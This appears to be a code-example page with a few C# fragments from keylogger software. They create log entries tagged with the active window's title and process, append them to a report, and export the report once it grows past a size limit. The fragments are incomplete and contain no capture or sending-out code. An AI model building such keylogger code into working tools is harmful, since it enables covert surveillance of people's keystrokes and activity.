Esempio n. 1
0
 private static void WindowChangeMonitor_OnWindowChangeEvent(object sender, WindowChangeMonitorEventArgs e)
 {
     _currentKeylogLock.EnterReadLock();
     if (_currentKeylog != null)
     {
         ReportManager.AppendToReport(_currentKeylog);
     }
     _currentKeylog = Keylog.Create(e);
     _currentKeylogLock.ExitReadLock();
 }
        public static void AppendToReport(Keylog log)
        {
            reportLock.EnterReadLock();
            if ((log == null && report.Length > 0) || (report.Length > MaxReportSize * 1024))
            {
                ExportReport(report.ToString());
                report = new StringBuilder();
            }
            reportLock.ExitReadLock();

            if (log != null)
            {
                reportLock.EnterWriteLock();
                report.AppendLine(log.Export());
                reportLock.ExitWriteLock();
            }
        }
Esempio n. 3
0
        public static Keylog Create(WindowChangeMonitorEventArgs e)
        {
            Keylog k = new Keylog(e.WindowTitle, e.WindowProcess);

            return(k);
        }